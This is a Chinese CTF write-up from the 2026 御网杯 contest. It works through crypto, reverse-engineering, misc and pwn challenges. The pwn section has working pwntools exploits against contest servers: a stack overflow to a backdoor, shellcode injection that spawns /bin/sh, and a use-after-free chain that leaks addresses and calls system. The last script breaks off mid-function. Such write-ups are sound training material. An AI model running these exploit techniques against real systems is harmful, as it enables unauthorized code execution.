2026御网杯WriteUp

2026 年 5 月 31 日 星期日(已编辑)
45

2026御网杯WriteUp

前言:

最终本次排名第6,密码的ECB题目 没解出来,感觉是个错题,凑齐了10个附件也没用。 队伍寒江雪: Lkaros ZhangMxxx zhy

Crypto

BabyRSA

image

image

RSA题目,e=3,直接开三次方,秒了

exp:

from math import isclose

n = 100832755055044454948066896593612028634827672786776914467183237705526577012952045109528632559891216199677285370561522112633618894698797760161775216134426402020756175956016227629225376334621393748794823633509500534839770879900319124126978615667262571646064667045952825555794782600422821124849291904329702715217
e = 3
c = 2217344750801082422122557433503178443728349985200064340509561287628968525653585651079146860158642159397263118614633577975384985338333836107135081818643710010408971841104291751023610459221018366622985570596066874370228363712492709069394733845151961088340795011700155875760741

def iroot3(x):
    lo, hi = 0, 1
    while hi ** 3 <= x:
        hi <<= 1
    while lo + 1 < hi:
        mid = (lo + hi) // 2
        if mid ** 3 <= x:
            lo = mid
        else:
            hi = mid
    return lo

m = iroot3(c)
flag = m.to_bytes((m.bit_length() + 7) // 8, "big")
print(flag.decode())

ScatterRSA

题目代码如下:

from secret import flag
from Crypto.Util.number import *
import random

m = bytes_to_long(flag)
e = 3

print(f"e = {e}")

for i in range(3):
    p = getPrime(512)
    q = getPrime(512)
    n = p * q
    a = random.getrandbits(128) | (1 << 127)
    b = random.getrandbits(256) | (1 << 255)
    c = pow(a * m + b, e, n)

    print(f"n{i+1} = {n}")
    print(f"a{i+1} = {a}")
    print(f"b{i+1} = {b}")
    print(f"c{i+1} = {c}")

可以看到,题目并不是直接加密 m,而是每次随机生成 a, b,加密线性填充后的明文:

c_i = (a_i * m + b_i)^3 mod n_i

其中:

  • 公钥指数 e = 3

  • 生成了 3 组不同的 RSA 模数 n1, n2, n3

  • 三次加密使用的是同一个 flag 明文 m

  • 每次加密前都有公开的线性变换 a_i * m + b_i

思路:

对每一组数据,都有:

(a_i * m + b_i)^3 ≡ c_i (mod n_i)

移项得到:

(a_i * x + b_i)^3 - c_i ≡ 0 (mod n_i)

令:

f_i(x) = (a_i * x + b_i)^3 - c_i

那么真正的明文整数 m 是每个多项式 f_i(x) 在对应模数 n_i 下的根:

f_1(m) ≡ 0 (mod n1)
f_2(m) ≡ 0 (mod n2)
f_3(m) ≡ 0 (mod n3)

由于 n1, n2, n3 是不同 RSA 模数,通常两两互素,可以设:

N = n1 * n2 * n3

然后把三个模数下的多项式通过 CRT 合并成一个模 N 下的多项式:

F(x) ≡ f_i(x) (mod n_i)

因此:

F(m) ≡ 0 (mod N)

这时问题转化成:在模 N 下求多项式 F(x) 的小根 m。\ 所以我们可以使用Coppersmith 小根攻击

exp:

from sage.all import *
from Crypto.Util.number import long_to_bytes

# public exponent
e = 3

n1 = 78406644063412330827144269082165693855524775872040115517201173073443410480229769568274148648378599447340559212013136304104371398343431564153428535062874800376311265127625727766687101716232202416348874941159422385827020377234200304383339914279306109539295055950771168695795983450922479086642719974951568001123
a1 = 179069785188197128063735833062298282088
b1 = 108602310920516135899953625199026479831613528130098983765509775304380481049236
c1 = 63252812179719365415824095661395699873619221281620649284116525456495492657969128347395906262694181920298642514886137258913612425874543244412361141570055505065364160387485022351593955914517007934817693712484398995438325025790526298775819525749798156105149707900940592786793945170245658868658074048714286848360

n2 = 95020468976740939492744504421572718358377589957590862534596426944713745697519407316474954374220717547414847190383624684829981365714162496004205923099654648343561409997185055826399789260059018296236445634896974399171937408534594770556492595577486034736886981715897932731287622893964944487359432563222589773169
a2 = 256937765435419090013996554824329198102
b2 = 106194089384191278641160829411989148866555891040956845008761670010296097473891
c2 = 69189455762124018990354259751049315347885716276141026926254387098606184767677119541615753786850384135301904271598568283598341309350338300849980006939154544582117288358462253645929195237077943587484536869068620740282202954818087710662521305731662434404639604765467522290344380872734642898064819919222866525595

n3 = 76327387850259066558503241279944367595819739218711435387090070188701489593268018671200393965036334822971788731105131043689617213814536539958962946216274727013886635077932479201396877992034094563923228010894175882636493331356330645383301647712606020240651124738679361743860337944932489521911308225518554189671
a3 = 230197610510629587425547735570441529186
b3 = 102036531983721422375656270902750955826372568198958868967463605609586959104862
c3 = 70530911982806921131468678265423284512112079960880985596519011279227498232312624801272691438407551711362218333097001183623780244884146290664329110735889965737872515329899563749587762154521351009913925896897262019326623455825827780598885978929696497223116909384396989202217844912113182815342075250443286215518

ns = [n1, n2, n3]
aa = [a1, a2, a3]
bb = [b1, b2, b3]
cc = [c1, c2, c3]

N = prod(ns)

# 在 Zmod(N) 上构造多项式环
R = PolynomialRing(Zmod(N), "x")
x = R.gen()

# f_i(x) = (a_i*x + b_i)^3 - c_i
# 展开后:
# a_i^3*x^3 + 3*a_i^2*b_i*x^2 + 3*a_i*b_i^2*x + b_i^3 - c_i
# 对每个系数分别 CRT 合并
coeffs = []
for k in range(4):
    residues = []
    for a, b, c, n in zip(aa, bb, cc, ns):
        if k == 0:
            coef = b^3 - c
        elif k == 1:
            coef = 3 * a * b^2
        elif k == 2:
            coef = 3 * a^2 * b
        else:
            coef = a^3
        residues.append(Integer(coef % n))

    coeffs.append(crt(residues, ns))

F = sum(R(coeffs[i]) * x^i for i in range(4))
F = F.monic()

# flag 长度几十字节,给一个 2^320 的上界即可
roots = F.small_roots(X=2^320, beta=1)

for r in roots:
    flag = long_to_bytes(int(r))
    print(flag)

ECDSA nonce 重用

题目内容:我们截获了某平台签发的 10 组 ECDSA 签名数据,每组包含: 同一个公钥 两条不同消息及其对应的 ECDSA 签名 安全研究员发现,该平台在签名时错误地重复使用了相同的随机数(nonce)k。 请利用这一漏洞,恢复出原始私钥,并提交对应的 flag。 每个压缩包 otp_XX.zip 中包含一个 challenge.json 文件,格式如下: { "public_key_x": "...", "public_key_y": "...", "message1": "57656c636f6d6520746f2074686520435446206368616c6c656e676521", "message2": "506c65617365207265636f766572207468652073656372657420666c61672e", "signature1_r": 123456..., "signature1_s": 789012..., "signature2_r": 123456..., // 注意:与 signature1_r 相同! "signature2_s": 345678..., "curve": "SECP256k1" } Flag 格式:flag{ecdsa_nonce_reuse_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

这个太乱了,整理了一下是

{
  "public_key_x": "公钥 x 坐标",
  "public_key_y": "公钥 y 坐标",
  "message1": "57656c636f6d6520746f2074686520435446206368616c6c656e676521",
  "message2": "506c65617365207265636f766572207468652073656372657420666c61672e",
  "signature1_r": 123456,
  "signature1_s": 789012,
  "signature2_r": 123456,
  "signature2_s": 345678,
  "curve": "SECP256k1"
}

json里的:

{
  "public_key_x": 36373461199208502881537939570592160125034760514740162313851965199387380927562,
  "public_key_y": 92825111073808024318362367371921077714083319732634166233045536731202168822854,
  "message1": "57656c636f6d6520746f2074686520435446206368616c6c656e676521",
  "message2": "506c65617365207265636f766572207468652073656372657420666c61672e",
  "signature1_r": 13512176936387645708832651018343626207194079560842772900400574151509546183127,
  "signature1_s": 50293467999534727517078170803792040236777413743107961254444723759753772351107,
  "signature2_r": 13512176936387645708832651018343626207194079560842772900400574151509546183127,
  "signature2_s": 10231730794214289009461183177519250614823454815958764923080464600448359939016,
  "curve": "SECP256k1"
}

肉眼一看signature1_r和signature2_r,一样

对于ECDSA来说,r = (kG).x mod n,r一样,说明两次签名使用了相同的nonce k 这也就是为什么题目里说了重用

我们把ECDSA 私钥记为:d 公钥为:Q = dG

其中:

· G 是椭圆曲线基点

· n 是基点阶

· d 是私钥

· Q 是公钥

对消息 m 签名时,先计算消息哈希:z = Hash(m)

然后随机选择 nonce:k

计算:R = kG和 r = R.x mod n

接着计算:s = k^(-1) * (z + r * d) mod n

最终签名为:(r, s)

而对于两条不同消息 m1 和 m2,如果使用了相同的 nonce k,则两条签名分别为:

s1 = k^(-1) * (z1 + r * d) mod n\ s2 = k^(-1) * (z2 + r * d) mod n

其中:

z1 = Hash(m1)\ z2 = Hash(m2)

两式相减:

s1 - s2 = k^(-1) * (z1 - z2) mod n

因此:

k = (z1 - z2) * (s1 - s2)^(-1) mod n

恢复出 k 之后,再由签名公式:

s1 = k^(-1) * (z1 + r * d) mod n

两边乘以 k:

s1 * k = z1 + r * d mod n

移项得到:

r * d = s1 * k - z1 mod n

因此私钥为:

d = (s1 * k - z1) * r^(-1) mod n

exp:

import json
import hashlib

# SECP256k1 的阶 n
n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

with open("challenge.json", "r", encoding="utf-8") as f:
    data = json.load(f)

# 读取消息并进行 hex 解码
m1 = bytes.fromhex(data["message1"])
m2 = bytes.fromhex(data["message2"])

print("[+] message1 =", m1)
print("[+] message2 =", m2)

# 计算消息哈希 z
z1 = int.from_bytes(hashlib.sha256(m1).digest(), "big")
z2 = int.from_bytes(hashlib.sha256(m2).digest(), "big")

# 读取签名
r1 = int(data["signature1_r"])
s1 = int(data["signature1_s"])
r2 = int(data["signature2_r"])
s2 = int(data["signature2_s"])

# 检查 r 是否相同
if r1 != r2:
    raise ValueError("r1 != r2, nonce may not be reused")

r = r1

print("[+] r =", r)
print("[+] s1 =", s1)
print("[+] s2 =", s2)

# 恢复 nonce k
# k = (z1 - z2) * inverse(s1 - s2) mod n
k = ((z1 - z2) * pow((s1 - s2) % n, -1, n)) % n

# 恢复私钥 d
# d = (s1 * k - z1) * inverse(r) mod n
d = ((s1 * k - z1) * pow(r, -1, n)) % n

priv_hex = f"{d:064x}"

print("[+] nonce k =", f"{k:064x}")
print("[+] private key =", priv_hex)

flag = "flag{ecdsa_nonce_reuse_" + priv_hex[:32] + "}"
print("[+] flag =", flag)

Reverse

rerere

丢到IDA里

image

image

跟进sub_140001480函数

image

image

继续跟进发现是个256数组 S盒

image

image

那么综上,流程是

sbox[input[i] ^ key[i % 8]] == target[i]

那么反推

input[i] ^ key[i % 8] == inv[target[i]]

input[i] == inv[target[i]] ^ key[i % 8]

求解即为flag

target = [
    163, 91, 76, 10, 14, 194, 51, 213,
    92, 144, 231, 167, 20, 58, 132, 218,
    49, 183, 68, 191, 198, 58, 249, 197,
    32, 18, 172, 194, 198, 145, 53, 100,
    163, 98, 144, 131, 83, 108
]

key = [
    185, 205, 206, 48, 184, 97, 78, 170
]

sbox = [
    194, 35, 151, 73, 131, 246, 211, 167,
    235, 191, 120, 195, 41, 86, 210, 26,
    19, 188, 33, 106, 55, 142, 95, 12,
    180, 70, 222, 228, 108, 162, 102, 48,
    15, 164, 187, 140, 9, 75, 61, 50,
    66, 85, 45, 79, 249, 119, 27, 116,
    31, 113, 123, 157, 115, 196, 171, 208,
    243, 193, 136, 7, 220, 206, 239, 192,
    114, 74, 39, 129, 155, 238, 199, 40,
    38, 90, 148, 84, 112, 209, 233, 200,
    152, 54, 145, 65, 184, 58, 121, 10,
    8, 229, 175, 128, 36, 174, 0, 25,
    204, 122, 247, 81, 125, 105, 236, 3,
    101, 37, 28, 1, 245, 230, 189, 217,
    89, 254, 146, 176, 16, 111, 240, 227,
    159, 173, 132, 244, 165, 51, 53, 72,
    83, 177, 224, 216, 5, 56, 24, 104,
    169, 20, 198, 63, 97, 138, 49, 59,
    186, 43, 78, 226, 87, 154, 241, 234,
    100, 126, 160, 147, 182, 218, 96, 46,
    29, 91, 130, 52, 109, 252, 207, 127,
    231, 150, 103, 67, 6, 68, 201, 76,
    64, 219, 253, 77, 181, 237, 57, 44,
    179, 23, 158, 205, 250, 107, 202, 135,
    143, 156, 137, 14, 99, 69, 134, 170,
    94, 149, 22, 197, 213, 47, 161, 248,
    153, 255, 60, 13, 62, 212, 4, 118,
    215, 71, 32, 141, 223, 92, 124, 163,
    30, 139, 21, 185, 168, 203, 34, 166,
    82, 214, 251, 93, 221, 178, 110, 232,
    242, 225, 42, 88, 98, 18, 17, 80,
    117, 183, 172, 144, 11, 133, 2, 190
]

# 构造 sbox 的逆表:sbox[x] = y  =>  inv[y] = x
inv = [0] * 256
for i, v in enumerate(sbox):
    inv[v] = i

flag = []

for i in range(len(target)):
    # 原校验逻辑:
    # sbox[input[i] ^ key[i % 8]] == target[i]
    # 反推:
    # input[i] ^ key[i % 8] == inv[target[i]]
    # input[i] == inv[target[i]] ^ key[i % 8]
    ch = inv[target[i]] ^ key[i % 8]
    flag.append(ch)

flag = bytes(flag)
print(flag.decode())

字节码迷踪

image

image

base64解密,然后xor 199即可

exp:

import base64

encoded_flag = "oaumoLz+oKqlsqnz/+qg8Kir6ret/73qq7Gx/+quqPC39Km3srar8vW6"
xor_key = 199

raw = base64.b64decode(encoded_flag)
flag = ''.join(chr(b ^ xor_key) for b in raw)

print(flag)

ChaCha20

apk题目 扔进jadx

image

image

分别调用了so层的几个函数

image

image

以此跟进

image

image
image

image

可以发现这些函数都在这里,仔细查找发现上面没有什么用 反而sub_25390函数里面有点东西

image

image
image

image
image

image
image

image

发现这俩是nonce 和key

key = 149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f\ nonce = 44332211abcdef668899aa55

再仔细上找 发现

image

image

这应该就是密文了,算法是chacha20没魔改,百度chacha20解密即可

image

image

DES加密验证

依旧扔给jadx,先分析Java层

image

image

这里的demo和test都是假的,真正的入口是crackme2这里面的mainactivity

image

image

veriftFlag在native层,把so拖进去

Shift+F12

看到

image

image
image

image

不是。。。这是非预期吧

MISC

迷宫

题目给了一个压缩包 maze_09.zip,描述提示关键凭证被隐藏在多层压缩包中,需要逐层解压并提取最内层数据。

解题思路:

获得maze_09.zip文件,使用解压软件进行解压缩

image

image

先解压最外层压缩包:maze_09.zip

发现解压后仍然是压缩包或嵌套文件,因此继续逐层解压。

为了避免手动重复操作,可以写脚本递归解压当前目录中的压缩文件,直到没有新的压缩包为止。

思路:

  1. 解压 maze_09.zip

  2. 进入解压目录

  3. 查找新的压缩包

  4. 继续解压

  5. 重复以上步骤

  6. 最终得到最内层文件 vault.bin

最内层文件内容为:

NGEzMzU4ZWU5ODdkYzJlODVlYjZhODkxNDUwMzdjYmY=61

可以看到前半部分像 Base64 编码:

NGEzMzU4ZWU5ODdkYzJlODVlYjZhODkxNDUwMzdjYmY=

对其进行 Base64 解码:

echo "NGEzMzU4ZWU5ODdkYzJlODVlYjZhODkxNDUwMzdjYmY=" | base64 -d

得到:

4a3358ee987dc2e85eb6a89145037cbf

根据题目提示,flag 格式为 flag{**},因此最终 flag 为:

flag{4a3358ee987dc2e85eb6a89145037cbf}

解题脚本

import os
import zipfile
import base64
import shutil

start_zip = "maze_09.zip"
workdir = "maze_extract"

if os.path.exists(workdir):
    shutil.rmtree(workdir)
os.mkdir(workdir)

# 先解压最外层
with zipfile.ZipFile(start_zip, "r") as z:
    z.extractall(workdir)

def try_base64(s):
    try:
        return base64.b64decode(s).decode()
    except:
        return None

while True:
    found_zip = False

    for root, dirs, files in os.walk(workdir):
        for name in files:
            path = os.path.join(root, name)

            # 遇到 zip 就继续解压
            if zipfile.is_zipfile(path):
                extract_dir = path + "_dir"
                os.makedirs(extract_dir, exist_ok=True)

                with zipfile.ZipFile(path, "r") as z:
                    z.extractall(extract_dir)

                os.remove(path)
                found_zip = True
                break

            # 检查普通文件内容
            try:
                with open(path, "r", errors="ignore") as f:
                    data = f.read().strip()

                print("[+] Found file:", path)
                print("[+] Content:", data)

                # 去掉末尾干扰字符,只保留可能的 Base64 部分
                for part in data.split():
                    if "=" in part:
                        b64 = part[:part.rfind("=") + 1]
                        decoded = try_base64(b64)

                        if decoded:
                            print("[+] Base64 decoded:", decoded)
                            print("[+] flag{" + decoded + "}")
                            exit()

            except:
                pass

        if found_zip:
            break

    if not found_zip:
        break
image

image

签到题-损坏的压缩包

题目给了一个损坏的压缩包 archive_10.zip,要求提交 flag{*}。 首先使用直接解压: 发现压缩包可以解出文件 data.txt,说明虽然题目说是损坏压缩包,但核心数据仍然可以被提取。

image

image
查看文件内容:

image

image

得到:

dGFoZw==

这是一段明显的 Base64 编码内容。

使用 base64 解码:

echo "dGFoZw==" | base64 -d

得到:

image

image

根据题目要求提交格式为 flag{*},所以最终 flag 为:

flag{flag}

幻影

题目给了附件 shadow_02.zip,解压后得到 data.bin。 先查看文件内容:

image

image

可以看到文件开头伪装成 RAR 文件头:

Rar!

并且文件中有提示:

REMEMBER: FLAG IS HIDDEN IN BASE64 PLUS XOR!
FAKE FLAG: flag{00000000-0000-0000-0000-000000000000}
DO NOT TRUST THIS ONE.

继续观察文件末尾,发现一段 Base64 字符串:

wMrHwd2ek8KQwJGSlYuXwJSRi5KSwJ+Lx5+Wn4uek8OSlZDDw5WSlZLb

根据提示,需要先 Base64 解码,再进行 XOR。

写脚本爆破单字节 XOR:

import base64

s = "wMrHwd2ek8KQwJGSlYuXwJSRi5KSwJ+Lx5+Wn4uek8OSlZDDw5WSlZLb"

data = base64.b64decode(s)

for key in range(256):
    result = bytes([i ^ key for i in data])
    if b"flag{" in result:
        print("key =", hex(key))
        print(result.decode())

运行结果:

key = 0xa6
flag{85d6f743-1f27-44f9-a909-85e436ee3434}

最终 flag:

flag{85d6f743-1f27-44f9-a909-85e436ee3434}

像素中的秘密

解压缩得到一张空白图片 使用010打开 发现图片尾部藏了一串数据

image

image

得到隐藏数据:

0000000069cb34419d2dc855e94ba2788d485e3c7b34fca29862fae7b7b6d2d51159b7beab50c60a753b5e25409f72297443c66de8275af19c4b2eb590af42b9

整个流程可以概括为:

PNG Tail

    ↓

提取隐藏数据

    ↓

Seed + Ciphertext

    ↓

LCG生成密钥流

    ↓

XOR解密

    ↓

Base62解码

    ↓

flag{file_carving_skill}

前 8 字节是随机种子:

0000000069cb3441

即:

seed = 0x69cb3441

LCG 生成密钥流

枚举常见 LCG 参数

线性同余生成器(LCG)形式为:

state = (a * state + c) % m

其中:

a = multiplier
c = increment
m = modulus

由于无法直接得知参数,因此枚举 CTF 中常见的 LCG 配置:

LCG_PROFILES = [

    ("NR32",1664525,1013904223,2**32),

    ("GLIBC31",1103515245,12345,2**31),

    ("GLIBC32",1103515245,12345,2**32),

    ("MSVC",214013,2531011,2**32),

    ("BORLAND",22695477,1,2**32),

]

对每组参数:

  1. 利用 seed 生成密钥流

  2. 与密文进行 XOR

进行枚举之后得到题目使用参数


multiplier = 1664525

increment  = 1013904223

modulus    = 2**32

即经典:

state = (1664525 * state + 1013904223) % (2**32)

每次取:

state & 0xff

作为一个密钥字节。

XOR 解密

ciphertext XOR keystream

得到:

16vPI4pqYkxq33FsdItrG9pL5jAc3GLk9

观察字符集:

0-9
a-z
A-Z

符合:

Base62

编码特征。

alphabet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

解码后得到flag

解题脚本

import struct

import zipfile

import sys

from pathlib import Path

PNG_HEADER = b"\x89PNG\r\n\x1a\n"

LCG_PROFILES = [

    ("NR32", 1664525, 1013904223, 2**32),

    ("GLIBC31", 1103515245, 12345, 2**31),

    ("GLIBC32", 1103515245, 12345, 2**32),

    ("MSVC", 214013, 2531011, 2**32),

    ("BORLAND", 22695477, 1, 2**32),

    ("MMIX", 6364136223846793005, 1442695040888963407, 2**64),

]

BASE62_ALPHABETS = [

    ("0-9a-zA-Z", "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"),

    ("0-9A-Za-z", "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"),

]

def read_file(path):

    path = Path(path)

    if path.suffix.lower() == ".zip":

        with zipfile.ZipFile(path, "r") as z:

            for name in z.namelist():

                if name.lower().endswith(".png"):

                    return name, z.read(name)

        raise RuntimeError("zip 中没有找到 png 文件")

    return path.name, path.read_bytes()

def extract_png_tail(data):

    if not data.startswith(PNG_HEADER):

        raise RuntimeError("不是合法 PNG 文件")

    offset = len(PNG_HEADER)

    while offset < len(data):

        chunk_len = struct.unpack(">I", data[offset:offset + 4])[0]

        chunk_type = data[offset + 4:offset + 8]

        chunk_end = offset + 12 + chunk_len

        if chunk_type == b"IEND":

            return data[chunk_end:]

        offset = chunk_end

    raise RuntimeError("没有找到 IEND 块")

def lcg_keystream(seed, length, multiplier, increment, modulus):

    state = seed % modulus

    result = bytearray()

    for _ in range(length):

        state = (multiplier * state + increment) % modulus

        result.append(state & 0xff)

    return bytes(result)

def xor_bytes(a, b):

    return bytes(x ^ y for x, y in zip(a, b))

def is_base62(s, alphabet):

    return all(ch in alphabet for ch in s)

def base62_decode(s, alphabet):

    value = 0

    for ch in s:

        value = value * 62 + alphabet.index(ch)

    return value.to_bytes((value.bit_length() + 7) // 8, "big")

def solve(tail):

    seed_bytes = tail[:8]

    ciphertext = tail[8:]

    print("[*] hidden data:", tail.hex())

    print("[*] seed bytes :", seed_bytes.hex())

    print("[*] ciphertext :", ciphertext.hex())

    for endian in ("big", "little"):

        seed = int.from_bytes(seed_bytes, endian)

        for name, multiplier, increment, modulus in LCG_PROFILES:

            keystream = lcg_keystream(

                seed,

                len(ciphertext),

                multiplier,

                increment,

                modulus

            )

            middle = xor_bytes(ciphertext, keystream).rstrip(b"\x00")

            try:

                middle_text = middle.decode("ascii")

            except UnicodeDecodeError:

                continue

            for alphabet_name, alphabet in BASE62_ALPHABETS:

                if not middle_text or not is_base62(middle_text, alphabet):

                    continue

                try:

                    decoded = base62_decode(middle_text, alphabet)

                    flag = decoded.decode("utf-8")

                except Exception:

                    continue

                if flag.startswith("flag{") and flag.endswith("}"):

                    print("\n[+] Found!")

                    print("[+] LCG profile :", name)

                    print("[+] endian      :", endian)

                    print("[+] multiplier  :", multiplier)

                    print("[+] increment   :", increment)

                    print("[+] modulus     :", modulus)

                    print("[+] base62 text :", middle_text)

                    print("[+] alphabet    :", alphabet_name)

                    print("[+] flag        :", flag)

                    return flag

    print("[-] 未找到 flag")

    return None

def main():

    if len(sys.argv) != 2:

        print(f"Usage: python3 {sys.argv[0]} <image.png>")

        return

    filename, data = read_file(sys.argv[1])

    print("[*] PNG file:", filename)

    tail = extract_png_tail(data)

    if not tail:

        print("[-] IEND 后没有隐藏数据")

        return

    solve(tail)

if __name__ == "__main__":

    main()

PWN

Authenticate

image

image

丢进IDA

image

image

发现后门函数

image

image

是个简单的栈溢出....

exp:

from pwn import *

context(os="linux", arch="amd64")
context.log_level = "info"

HOST = "47.99.147.34"
PORT = 15420

RET = 0x40101a
BACKDOOR = 0x4011f6
OFFSET = 136
#0x88=0x80+8=136

def start():
    return remote(HOST, PORT)

def exploit():
    io = start()
    io.recvuntil(b"Username: ")
    io.sendline(b"user")

    io.recvuntil(b"Password: ")
    payload = b"A" * OFFSET
    payload += p64(RET)
    payload += p64(BACKDOOR)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    exploit()
image

image

MessageBoard

image

image
image

image

buf 只有 0x80 字节,但是 read 最多可以读取 0x100 字节。

因此可以造成栈溢出。

题目还说了考察shellcode,那说啥了

思路:

  1. 接收程序泄露的 buf 地址

  2. 构造 shellcode

  3. 将 shellcode 写入 buf

  4. padding 到 136 字节

  5. 覆盖返回地址为 buf_addr + 偏移

  6. 函数返回后跳到 shellcode

  7. 执行 execve("/bin/sh", 0, 0)

  8. cat flag

exp:

from pwn import *

context(os="linux", arch="amd64", log_level="debug")

p = remote("120.27.146.76", 19743)
offset = 136

p.recvuntil(b"Buffer at: ")
buf = int(p.recvline().strip(), 16)
success(hex(buf))

p.recvuntil(b"Message:")

sc = asm(shellcraft.sh())

payload = b"\x90" * 0x30 + sc
payload = payload.ljust(offset, b"A")
payload += p64(buf + 0x20)

p.send(payload)
p.interactive()
image

image

UserManager

保护全开

image

image

不能走 GOT 覆写;由于 PIE 开启,程序基址也需要先泄露。。。。

image

image

nc发现 是个菜单 直接进IDA看吧

image

image

可以看到user的结构体

image

image

主要利用点是 Delete 后没有清空指针导致的 UAF。

Register
image

image

Register 的逻辑如下:

  1. 输入 id,检查范围。

  2. 输入密码长度 size,最大允许 0x100

  3. malloc(size) 分配密码缓冲区。

  4. malloc(0x18) 分配 struct user

  5. 初始化结构体:

tmpuser->p = show;
tmpuser->data = buf;
tmpuser->size = size;
users[id] = tmpuser;

也就是说注册一个大小为 0x18 的密码时,会连续分配两个同大小 fastbin chunk:

D = password chunk, size 0x20
S = user struct chunk, size 0x20
Login
image

image

Login 会先比较输入密码:

if (!strcmp(input, users[id]->data)) {
    puts("Login success!");
    users[id]->p(users[id]->data);
}

成功登录后会调用结构体中的函数指针:

users[id]->p(users[id]->data);

默认情况下,p = show,所以只是打印密码;如果能够把 p 改成 system,并把 data 改成 /bin/sh,登录成功后就会触发:

system("/bin/sh");
Delete
image

image

Delete 是漏洞入口:

free(users[id]->data);
free(users[id]);
puts("Delete success!");

释放后没有执行:

users[id] = NULL;

因此 users[id] 会继续指向已经释放的 struct user,形成悬垂指针。

Edit

Edit 根据结构体里的 datasize 写入:

read(0, users[id]->data, users[id]->size);

如果 users[id] 指向已释放结构体,并且该结构体内容被重新分配覆盖,那么 Edit 可以变成一个受控写原语。

漏洞点

核心漏洞链如下:

Delete 后未清空 users[id]
    -> user0 结构体指针悬垂
    -> fastbin 重新分配相同大小 chunk
    -> user1.data 复用旧 user0 结构体
    -> Edit user1 可以覆盖 user0 结构体字段
    -> Login user0 可用 strcmp 做地址泄露 oracle
    -> 改 user0->p 为 system,user0->data 为 "/bin/sh"
    -> getshell 并读取 flag
利用思路
构造 fastbin UAF 布局

注册 user0,密码长度取 0x18

Register(0, 0x18, "A" * 0x18)

此时堆布局近似为:

D0: user0 password chunk
S0: user0 struct chunk

删除 user0

free(D0)
free(S0)

glibc 2.23 fastbin 使用 LIFO,所以再次注册一个 0x18 大小的用户时:

user1.data   -> S0
user1.struct -> D0

于是 Edit(1, data) 会写入旧的 user0 结构体 S0,也就是可以覆盖:

user0->data
user0->p
user0->size
利用 strcmp 构造逐字节泄露 oracle

程序没有直接的任意地址打印功能,但 Login 里有:

strcmp(input, users[0]->data)

如果我们能控制 users[0]->data 指向任意地址,那么输入某个字节序列后,根据输出是:

Login success!

还是:

Wrong password!

就能判断该地址处的内容是否与输入相等。

由于 strcmp 从第一个字节开始比较,并且我们知道 64 位地址高字节通常为 0x55/0x560x7f,可以从高位有效字节开始往低地址逐字节爆破。

image

image

泄露函数指针 show

  1. user0 结构体里 p = show

  2. p 在结构体偏移 0x08

  3. 泄露地址第 5 字节时,把 user0->data 指向 D0 + 0x08 + 5

  4. 先猜 0x55/0x56 等高字节。

  5. 猜中后,把目标地址依次调整到前一字节,输入 guess + ``已知后缀,直到得到完整 6 字节地址。

泄露到的:

image

image
show = 0x55b9a56009d0
PIE  = 0x55b9a5600000

其中:

PIE = show - 0x9d0
泄露 libc

PIE 泄露后,可以定位程序 .bss 中的 copy relocation:

stdin@copy = pie + 0x202030

这里存放的是 libc 中 _IO_2_1_stdin_ 的真实地址。继续使用上面的 strcmp oracle 泄露这个指针。

泄露:

image

image
stdin = 0x7fde8ae158e0
libc  = 0x7fde8aa51000

计算方式:

libc = stdin - 0x3c48e0

然后计算:

system  = libc + 0x453a0
"/bin/sh" = libc + 0x18ce57
覆盖函数指针并 getshell

利用 Edit(1, ...) 覆盖旧 user0 结构体:

edit(io, 1, p64(binsh) + p64(system) + p64(0x18))

也就是:

user0->data = "/bin/sh"
user0->p    = system
user0->size = 0x18

然后登录 user0,密码输入 /bin/sh

strcmp("/bin/sh", "/bin/sh") == 0

登录成功后触发:

users[0]->p(users[0]->data);

也就是:

system("/bin/sh");

然后在 shell 中读取 /flag

exp:

from pwn import *

context.log_level = "info"

HOST = "47.99.147.34"
PORT = 14453

SHOW_OFF = 0x9D0
STDIN_OFF = 0x202030

LIBC_STDIN = 0x3C48E0
LIBC_SYSTEM = 0x453A0
LIBC_BINSH = 0x18CE57

def start():
    for i in range(100):
        try:
            io = remote(HOST, PORT, timeout=5)
            io.recvuntil(b"Your choice:", timeout=3)
            log.info("connected try %d", i)
            return io
        except Exception:
            try:
                io.close()
            except Exception:
                pass
            sleep(0.02)
    raise RuntimeError("start failed")

def reg(io, idx, size, data):
    io.sendline(b"2")
    io.sendlineafter(b"Input the user id:", str(idx).encode())
    io.sendlineafter(b"Input the password length:", str(size).encode())
    io.sendafter(b"Input password:", data)
    return io.recvuntil(b"Your choice:", timeout=3)

def dele(io, idx):
    io.sendline(b"3")
    io.sendlineafter(b"Input the user id:", str(idx).encode())
    return io.recvuntil(b"Your choice:", timeout=3)

def edit(io, idx, data):
    io.sendline(b"4")
    io.sendlineafter(b"Input the user id:", str(idx).encode())
    io.sendafter(b"Input new pass:", data)
    return io.recvuntil(b"Your choice:", timeout=3)

def login(io, idx, pwd, recv=True):
    io.sendline(b"1")
    io.sendlineafter(b"Input the user id:", str(idx).encode())
    io.sendlineafter(b"Input the passwords length:", str(len(pwd)).encode())
    io.sendafter(b"Input the password:", pwd)
    return io.recvuntil(b"Your choice:", timeout=3) if recv else b""

def setup(io):
    reg(io, 0, 0x18, b"A" * 0x18)
    dele(io, 0)
    # glibc-2.23 fastbin order after delete:
    # user1.data == old user0 struct S, user1.struct == old data chunk D.
    # S->data initially points to D; low byte 0x1d means D + 8 + 5.
    reg(io, 1, 0x18, b"\x1d")

def set_low(io, low):
    edit(io, 1, bytes([low]))

def set_addr(io, addr):
    edit(io, 1, p64(addr))

def uniq(seq):
    out = []
    seen = set()
    for x in seq:
        if x not in seen and 0 <= x <= 255:
            out.append(x)
            seen.add(x)
    return out

def batch_brute(io, suffix, candidates):
    candidates = uniq(candidates)
    payload = b""
    for c in candidates:
        pwd = bytes([c]) + suffix
        payload += b"1\n0\n" + str(len(pwd)).encode() + b"\n" + pwd

    io.send(payload)
    found = None
    for c in candidates:
        out = io.recvuntil(b"Your choice:", timeout=10)
        if b"Login success!" in out and found is None:
            found = c

    if found is None:
        raise RuntimeError("no byte for suffix " + suffix.hex())
    return bytes([found]) + suffix

